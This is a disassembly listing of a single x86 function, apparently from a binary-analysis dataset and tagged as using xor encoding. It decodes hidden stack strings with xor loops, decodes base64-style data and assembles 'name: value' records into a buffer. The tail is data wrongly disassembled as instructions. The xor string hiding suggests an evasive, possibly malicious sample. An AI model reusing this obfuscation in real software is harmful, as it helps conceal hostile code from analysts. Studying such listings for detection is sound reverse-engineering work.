Function at 0x428ac5
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x450
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x50], 0xf77af977
mov dword [esp + 0x54], 0xf353f549
mov dword [esp + 0x58], 0xcfbcf145
mov dword [esp + 0x5c], 0xcb42cd71
mov dword [esp + 0x60], 0xc7c6c975
mov dword [esp + 0x64], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0xd6
xor cl, byte [esp + eax + 0x50]
add cl, 0xd2
mov byte [esp + eax + 0x50], cl
inc eax
cmp eax, 0x18
jne case.default.0x428739
lea ebp, [esp + 0x50]
lea ecx, [esp + 0x2c]
push ebp
call fcn.0043b0c0
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447d00]
lea ecx, [esp + 0x2c]
push 0x410
call fcn.0043b3a0
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x447d08]
mov dword [esp + 0x50], 0xaa8358a5
mov dword [esp + 0x54], 0x50aa8da0
mov dword [esp + 0x58], 0xaca5a381
mov dword [esp + 0x5c], 0xb75ea685
mov dword [esp + 0x60], 0x60bbb286
mov dword [esp + 0x64], 0x9fbcb6bd
mov dword [esp + 0x68], 0x9299be9a
mov dword [esp + 0x6c], 0x96bf94b3
mov dword [esp + 0x70], 0xa6909692
mov dword [esp + 0x74], 0x8ea3b591
mov dword [esp + 0x78], 0xebbaa1a1
mov word [esp + 0x7c], 0
mov byte [esp + 0x7e], 0
lea eax, [ebx + 0x72]
mov ecx, 0xd
sub ecx, ebx
and ecx, 0x22
and eax, 0xdd
sub eax, ecx
xor al, byte [esp + ebx + 0x50]
add al, 0x70
mov byte [esp + ebx + 0x50], al
mov eax, ebx
not eax
or eax, 1
add eax, ebx
or ebx, 1
add ebx, eax
inc ebx
cmp ebx, 0x2f
jb case.default.0x428818
lea eax, [esp + 0x44]
lea ecx, [esp + 0x2c]
push 0
push 0x2b
push ebp
push eax
call fcn.0043ba50
mov ebx, dword [esp + 0x44]
mov edi, dword [esp + 0x48]
xor eax, eax
cmp ebx, edi
sete al
mov dword [esp + 0x28], edi
jmp dword [eax*4 + 0x447d10]
mov eax, edi
sub eax, ebx
sar eax, 2
imul eax, eax, 0x421
push eax
call fcn.004083b0
add esp, 4
mov dword [esp + 0x24], 0
xor ecx, ecx
cmp ebx, edi
setne cl
mov dword [esp + 0x20], eax
mov dword [esp + 4], eax
jmp dword [ecx*4 + 0x447d18]
add ebx, 4
xor eax, eax
mov edi, dword [esp + 0x28]
cmp ebx, edi
setne al
jmp dword [eax*4 + 0x447d18]
mov esi, dword [ebx]
push 0x400
push 0
push ebp
call fcn.00408430
add esp, 0xc
lea eax, [esp + 0x18]
lea ecx, [esp + 0x2c]
push eax
push 0x400
push ebp
push esi
call fcn.0043b960
cmp eax, 0xc0000000
setae al
cmp dword [esp + 0x18], 0
sete cl
or cl, al
movzx ecx, cl
xor eax, eax
jmp dword [ecx*4 + 0x447d28]
mov ecx, dword [case.0x428818.6]
mov eax, 1
jmp ecx
jmp dword [eax*4 + 0x447d40]
mov byte [esp + 0x44f], 0
movzx eax, byte [esp + 0x50]
xor edx, edx
test al, al
je 0x428901
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x4288ff
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4288f0
jmp 0x428901
mov edx, ecx
xor eax, eax
test edx, edx
setne al
jmp dword [eax*4 + 0x447d48]
inc edx
movzx eax, byte [edx]
xor edi, edi
test al, al
je 0x428931
mov ecx, edx
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x42892f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x428920
jmp 0x428931
mov edi, ecx
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x447d50]
mov ecx, edi
mov esi, edx
sub ecx, edx
lea edx, [ecx + ecx*2]
shr edx, 2
movzx eax, byte [edi - 1]
cmp eax, 0x3d
je 0x428959
cmp eax, 0x2e
jne 0x42895a
dec edx
movzx eax, byte [esi + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 0xc], ecx
je 0x42896d
cmp eax, 0x2e
jne 0x42896e
dec edx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], edx
lea eax, [edx + 1]
push eax
call fcn.004083b0
add esp, 4
mov dword [esp + 0x10], eax
cmp edi, esi
mov ebp, dword [esp + 0xc]
je 0x428aa8
mov ebx, esi
xor esi, esi
mov edi, 2
mov dword [esp + 0x14], ebx
jmp 0x4289c6
mov esi, edx
lea eax, [edi + 4]
add edi, 2
cmp edi, ebp
mov edi, eax
mov ebx, dword [esp + 0x14]
jae 0x428aa8
movzx eax, byte [ebx + edi - 2]
push eax
call fcn.0041fbf0
add esp, 4
mov byte [esp + 8], al
movzx eax, byte [ebx + edi - 1]
push eax
call fcn.0041fbf0
add esp, 4
movzx ecx, byte [esp + 8]
shl cl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, cl
mov ebx, esi
mov ecx, esi
and ecx, 1
mov edx, esi
xor edx, 1
mov esi, dword [esp + 0x14]
lea edx, [edx + ecx*2]
mov ecx, dword [esp + 0x10]
mov byte [ecx + ebx], ah
cmp edi, ebp
jae 0x4289b0
mov byte [esp + 3], al
mov dword [esp + 8], edx
movzx eax, byte [esi + edi]
push eax
call fcn.0041fbf0
add esp, 4
cmp al, 0x40
jne 0x428a40
mov esi, dword [esp + 8]
mov ebp, dword [esp + 0xc]
jmp 0x4289b2
mov ebx, dword [esp + 8]
lea esi, [ebx + 1]
movzx edx, byte [esp + 3]
shl dl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, dl
mov edx, dword [esp + 0x10]
mov byte [edx + ebx], cl
lea ecx, [edi + 1]
mov ebp, dword [esp + 0xc]
cmp ecx, ebp
jae 0x4289b2
mov ebx, eax
mov eax, dword [esp + 0x14]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041fbf0
mov ebp, dword [esp + 0x10]
add esp, 4
cmp al, 0x40
je 0x4289b2
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 8]
mov byte [ecx + esi + 1], al
add esi, 2
jmp 0x4289b2
mov eax, dword [esp + 0x3c]
mov esi, dword [esp + 0x10]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x447d58]
push esi
call fcn.004083c0
add esp, 4
push ebx
call fcn.00401960
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
lea ebp, [esp + 0x50]
mov edi, dword [esp + 0x28]
jmp dword [ecx*4 + 0x447d60]
jmp 0x428b99
mov dword [esp + 0x18], 0xd7b8b4b7
mov word [esp + 0x1c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
xor edx, 0xb1
mov esi, ecx
or esi, 0x4e
and edx, esi
add edx, esi
xor dl, byte [esp + ecx + 0x18]
add dl, 0x7a
mov byte [esp + ecx + 0x18], dl
inc ecx
cmp ecx, 6
jne case.default.0x428b47
lea ecx, [esp + 0x18]
push ecx
push eax
call fcn.004018b0
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447d68]
mov edx, dword [esp + 4]
jmp 0x428b73
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 4]
je 0x428b6b
inc eax
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x428b60
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x50]
test al, al
je 0x428b8b
lea ecx, [esp + 0x51]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x428b80
mov byte [edx], 0xa
inc edx
mov dword [esp + 4], edx
mov al, 1
mov dword [esp + 0x24], eax
push ebx
call fcn.00401bd0
add esp, 4
mov ebx, dword [esp + 0x40]
add ebx, 4
xor eax, eax
cmp ebx, edi
setne al
jmp dword [eax*4 + 0x447d18]
mov ebx, dword [esp + 0x24]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x447d20]
jmp dword [0x447d80]
xor esi, esi
test ebx, ebx
jne 0x428c9a
jmp 0x428ca7
mov eax, dword [esp + 4]
mov byte [eax], 0
mov dword [esp + 0x50], 0x252a2b43
mov dword [esp + 0x54], 0x29595a27
mov dword [esp + 0x58], 0x24202223
mov dword [esp + 0x5c], 0x2e224261
mov dword [esp + 0x60], 0x5d7b3853
mov dword [esp + 0x64], 0x3f353239
mov dword [esp + 0x68], 0x29367139
mov dword [esp + 0x6c], 0xa734
mov eax, 0xa07076df
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x5f8f8971]
xor ecx, eax
mov edx, 0x5b
sub edx, ecx
and ecx, 1
or edx, 1
sub ecx, edx
mov byte [esp + eax + 0x5f8f8971], cl
inc eax
cmp eax, 0xa07076ff
jne 0x428c30
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 4]
sub esi, edx
lea eax, [esp + 0x50]
mov ecx, dword [esp + 0x464]
push esi
push edx
push eax
call fcn.004092f0
mov ebx, eax
jmp dword [0x447d80]
push dword [esp + 0x20]
call fcn.004083c0
add esp, 4
and bl, 1
mov esi, ebx
mov ebx, dword [esp + 0x44]
mov edi, dword [esp + 0x48]
test ebx, ebx
je 0x428ca7
cmp ebx, edi
je 0x428ca7
push ebx
call fcn.004083c0
add esp, 4
mov ebx, esi
lea ecx, [esp + 0x2c]
call fcn.0043b540
mov eax, ebx
add esp, 0x450
pop esi
pop edi
pop ebx
pop ebp
ret
int3
mov byte [edx], al
iretd
mov byte [edx], al
jns 0x88a47d94
invalid
mov byte [edx], al
aas
inc edx
add byte [edi], bh
mov dword [edx], eax
lds ecx, [edx - 0x7531ffbe]
inc edx
add ch, ch
mov al, byte [edx]
mov al, byte [edx]
dec esi
mov eax, dword [edx]
push esp
mov eax, dword [edx]
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
mov edi, 0x100428c
add byte [eax], al
add byte [ebp - 0x74], bh
inc edx
add byte [ecx + 0x3700428c], cl
mov es, word [edx]
test eax, 0x6c00429d
pop dword [edx]
test dword [edi - 0x6fcaffbe], ecx
inc edx
add byte [ebp + 0x6200428f], dl